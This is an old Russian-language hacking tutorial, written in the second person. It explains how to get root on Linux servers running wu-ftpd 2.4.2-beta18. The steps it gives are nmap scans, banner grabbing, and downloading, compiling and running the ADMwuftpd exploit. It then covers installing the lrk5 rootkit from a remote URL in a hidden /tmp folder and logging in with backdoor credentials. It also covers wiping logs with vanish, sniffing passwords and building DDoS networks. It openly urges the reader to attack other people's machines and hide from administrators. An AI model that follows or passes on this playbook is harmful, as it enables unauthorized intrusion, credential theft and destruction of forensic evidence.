Старая статья о взломе linux

Итак, твоя цель не копание в каком-то непонятном коде или не поиск секретных документов. Твоя цель очень простая — получить РУТА наилегчайшим путем. Это позволит тебе в дальнейшем секретно сканировать порты других машин с новой тачки и вообще ломать все остальное — не думая о последствиях. Почему? Потому что никто не сможет даже догадаться, что ломал и хачил вовсе не администратор с неизвестной тебе машины, а ты. Итак, сначала тебе будут нужны две вещи — сканер портов и эксплоит.

Тебе надо выбрать, через что ты сможешь получить рута. Хакер предпочитал использовать для этого старый сервер ftp, который поставлялся вместе с redhat-линуксами версии 5.2. Точное его название — wuftp 2.4.2-beta18. Именно такой и ТОЛЬКО такой фтп-сервер тебе предстоит обнаружить, чтобы получить на нем рутовские права. Ты выбираешь диапазон IP адресов, который находится где-то в далекой Новой Зеландии или Австралии, и запускаешь портсканер, который будет сканировать всю огромную подсеть на открытый порт 21 (фтп-сервер всегда работает на этом порту).

Если ты уже поставил себе линукс или FreeBSD, советую тебе воспользоваться портсканером nmap. Известная команда TEAM VOID написала статью, как пользоваться этим сканером в общих чертах, а тебе понадобится уметь отдать только одну команду — ./nmap -sT -P0 -p 21 www.victim.dom\24. Конечно, вместо victim.dom тебе следует вписать сайт, который стоит в той сетке, которую ты собираешься хакать (например, whitehouse.com).

После этого тебе остается только ждать. Тебе выдастся список хостов (то есть машин в стане врага), на которых этот порт открыт, после чего ты сможешь по очереди проверить версии фтп-серверов, которые обнаружил твой сканер. Для этого тебе надо будет написать самому (если умеешь) программу, которая по очереди проверит все найденные сервера на версию, или сделать это самому, ручками. Чтобы определить версию сервера, достаточно дать команду:

[r00t@bewx /]$ telnet ftp.victim.dom 21

В ответ на которую ты получишь версию сервера:

Trying 31.33.73.01 ….

Connected to ftp.victim.dom.

Escape character is ‘^]’.

220 ftp.victim.dom FTP server (Version wu-2.4.2-academ[BETA-18](1) Fri Mar 32 23:27:05 EEST 2000) ready.

wu-2.4.2-academ [beta18] и есть как раз признак того, что дела сервера плохи и ты нашел себе жертву.

Теперь самое время скачать себе эксплоит, если ты этого еще не сделал. Эксплоит — это программа, которая использует уже существующую дырку в сервере. В нашем случае эксплоит перезапишет память программы кодами. Программа будет подчинена и даст тебе рута!

Итак, сам эксплоит тебе надо будет взять с ftp://adm.freelsd.net/ADM/exploits/ADMwuftpd.c. Сохрани его в файле ADMwuftpd.c (это сделает команда lynx -source ftp://adm.freelsd.net/ADM/exploits/ADMwuftpd.c > SploiT.c ). Потом скомпилируй его (то есть приведи его в состояние, нужное для того, чтобы эксплоит смог работать). Это можно сделать командой gcc -o SploiT SploiT.c.

Теперь ты можешь надеяться только на удачу. Пиши команду — ./SploiT ftp.victim.dom /incoming -l anomymous hihi@ и смотри. В случае успеха ты получишь что-то вроде

/

uid=0(root) gid=0(wheel) groups=0(wheel)

bash#

Все! Теперь ты рут на машине. Уже можно начинать делать какие-то действия и ломать дальше, с только что захваченного хоста — но стоит помнить о ЛОГАХ, о том, что ты оставил за собой и что именно по ним злой сисадмин сможет вычислить тебя, и потом вместо рутовских прав на машине ты реально сможешь получить дядек в штатском на пороге своего дома. Поэтому я немного расскажу тебе о том, как система Linux, которую мы только что сломали, пишет эти самые лог-файлы и как с ними можно побороться.

Бэкдоры

Теперь самое время троянить машину. Если ты думал, что трояны бывают только под windows, то ты глубоко ошибался; троян, вообще, — это не обязательно отдельный файл, это могут быть и изменения в коде какой-то программы, присутствующей в системе, чтобы затем вламываться не с шумом и с треском (использование эксплоита может сравниться с вышибанием двери плечом), а тихо и незаметно открывать дверцу имеющимся только у тебя секретным ключом. Это и делает руткит — уже готовый комплекс бэкдоров для линуксов, который тебе остается только поставить.

Порой администратор системы, безопасность которой была нарушена, и произошла потеря или утечка данных, действительно полезных и ценных для организации, сталкивается с тривиальным вопросом — фирма вполне справедливо может потребовать с него возмещения убытков, произошедших по его вине. Ответственность должности системного администратора, в чьих руках остается бухгалтерия, клиентская база и прочие конфиденциальные данные, на самом деле очень велика — он потеряет работу, если не сможет защитить свою компанию. Впрочем, при «ежедневном обходе» системный администратор, как правило, верит команде PS -aux, которая показывает ему список всех процессов, а также команде «ls», чтобы воспроизвести список файлов в директории.

Руткиты используются для модификации данных программ, а также многих других, показывающих наличие файлов, процессов и пользователей в системе. «ls» модифицируется, чтобы не показывать наличие типичных файлов в системе, ps перестает показывать процессы определенного пользователя. Как правило, системный администратор ничего не подозревает до тех пор, пока ему не приходит письмо от abuse@teleglobe.net или же не следует взбучка от шефа. На первый взгляд — невозможно определить, была ли система обработана или же нет, и потребуется много времени на оценку и определение проблемы.

Итак, чтобы ввести админа в заблуждение, сначала тебе надо создать папку, в которой у тебя будет происходить СБОРКА руткита. Естественно, было бы глупостью раскидывать сырцы троянов прямо в корне файловой системы, и тебе надо залезть в /tmp, где ты создашь секретную папку:

сd /tmp — мы перешли в папку /tmp. Mkdir «. » — мы создаем нашу секретную папку для исходников, которая называется точка-пробел (эту папку сложно найти, не зная как ее зовут — команда ls не показывает ее). cd «. » — мы перешли в данную папку. lynx — source http://packetstorm.securify.com/UNIX/penetration/rootkits/lrk5.src.tar.gz > r00tkit.tar.gz

tar -zxvf r00tkit.tar.gz — мы разархивировали только что скачанный руткит. cd lrk5 — мы перешли в вытащенную папку. make install — мы установили его. После отработки последней команды администратор уже не хозяин своей системы — его права перешли к тебе.

После этого ты можешь делать logout (эта команда отключит тебя от системы) и опять логиниться туда, но уже не через шумный эксплоит, а через нормальный телнет. telnet ftp.victim.dom — это выдаст приглашение к вводу логина и пароля. Введи логин rewt и пароль satori — после получения таких данных покореженный руткитом login сразу, без вопросов и записей в логи даст тебе рута. Машина твоя! Но не стоит забывать об еще одном маленьком деле, которое тебе предстоит осуществить.

Уборка территории

Твоя природная леность и неаккуратность могут привести к плачевному для тебя результату. Однако к любому делу следует подходить не как к развлечению — а как к повседневной работе. Твои основные помощники — не куча чужих руткитов и скриптов, а конкретика, концентрация, навыки, острота и быстрота ума. Ты должен знать, когда тебе нужно действовать, когда бежать, когда прятаться, а когда сдаваться или уходить. Давай смотреть на это с такой точки зрения, что ходить в грязной обуви по чистым коврам неприлично. 😉

Невозможно сказать, сколько раз хакеры забывали чистить за собой log-файлы. Можно сказать, что четверть всех хостов в Сети когда-либо были взломаны, и по сей день чей-то /var/log/messages хранит до поры до времени свидетельства вторжения с давно уже несуществующих сетей и хостов. Это грустно. Вдвойне грустно, потому как ты сам имел прекрасную возможность почистить все за собою. Зачем вообще взламывать чужую систему, если после этого в логах останутся сообщения о неавторизованном входе в систему? Поэтому давай подумаем, как мы будем убирать весь мусор, что остается за хакером.

Syslog («большой брат» всей системы) является основным средством для ведения логов событий. Большинство системных компонентов используют вызовы к syslogd для ведения журнала событий. Syslog читает конфигурацию из файла /etc/syslog.conf для определения того, что он будет делать.

Но на любого агента у нас имеется свой хитрый Neo, который сможет порвать его на куски. Программа http://packetstorm.securify.com/UNIX/penetration/log-wipers/vanish.c как раз и занимается тем, что стирает log-файлы, которых целая куча: и WTMP, и UTMP, и lastlog, и messages, и secure, и xferlog, и maillog, и mail, и httpd.access_log и, httpd.error_log беспристрастно фиксируют любой даже самый маленький шажок по стану врага.

Чтобы стереть логи, надо отдать следующие команды — достать чистилку логов, собрать ее и дать команду — vanish root victim.dom your_ip. Программа сама удалит все сведения в лог-файлах о логинах, совершенных на машину врага с твоего адреса. Заметь — это надо сделать только один раз, чтобы окончательно приготовить себе плацдарм для дальнейшей работы — поставленный руткит исключает любую возможность попадания в логи твоих действий.

А что же дальше?

После того как контроль за системой получен, хакеры обычно делают следующие вещи. Во-первых, они используют систему как плацдарм для сканов и эксплоитов других систем. Также они могут продолжить сканирование твоей собственной сети. Ты можешь сделать как первое (о чем мы говорили выше), так и второе. Тебе надо применить сниффер, который будет перехватывать весь траффик в пределах локальной сети, включая сессии telnet’a и ftp. Отсюда ты можешь получить логины и пароли для доступа к другим машинам, на которых нет уязвимостей, которые бы позволили тебе так просто порутить их.

Сниффер, входящий в комплект руткита, маскируется под программу rpc.nfsd и пишет все логи в /sbin/tcp.log (не бойся, он не пишет в этот лог никакой информации про тебя, а только логины и пароли пользователей в сетке с твоей базой). Чтобы стартовать сниффер, отдай команду rpc.nfsd. Чтобы остановить его, вычисли его pid по команде ps aux | grep rpc.nfsd и убей процесс, который тебе показали.

Для чего еще ты сможешь использовать свою систему? Когда таких систем станет больше сотни, ты вполне сможешь сходить на сайт Микстера (http://void.ru/en) и поучиться у него использованию систем атаки DDoS. Тогда ничто не сможет остановить тебя, и даже самые крупные сайты будут считаться с той силой, которую ты станешь представлять.

Итог

Я рассмотрел стратегию действий хакера типа scriptkiddie от начала и до конца. Как правило, его первое действие — проверить наличие посторонних лиц в системе. После этого он стирает лог-файлы и продолжает сбор информации. Так как постоянно выходят новые эксплоиты — тактика scriptkiddies останется точно такой же, какой и была.

Где еще почитать о взломе linux и unix-систем? Советую сайт команды team void (http://void.ru), тут много статей о различной методике получения рутовских прав и заметания своих следов.

Комментарии закрыты

Другие статьи рубрики "Исторические статьи"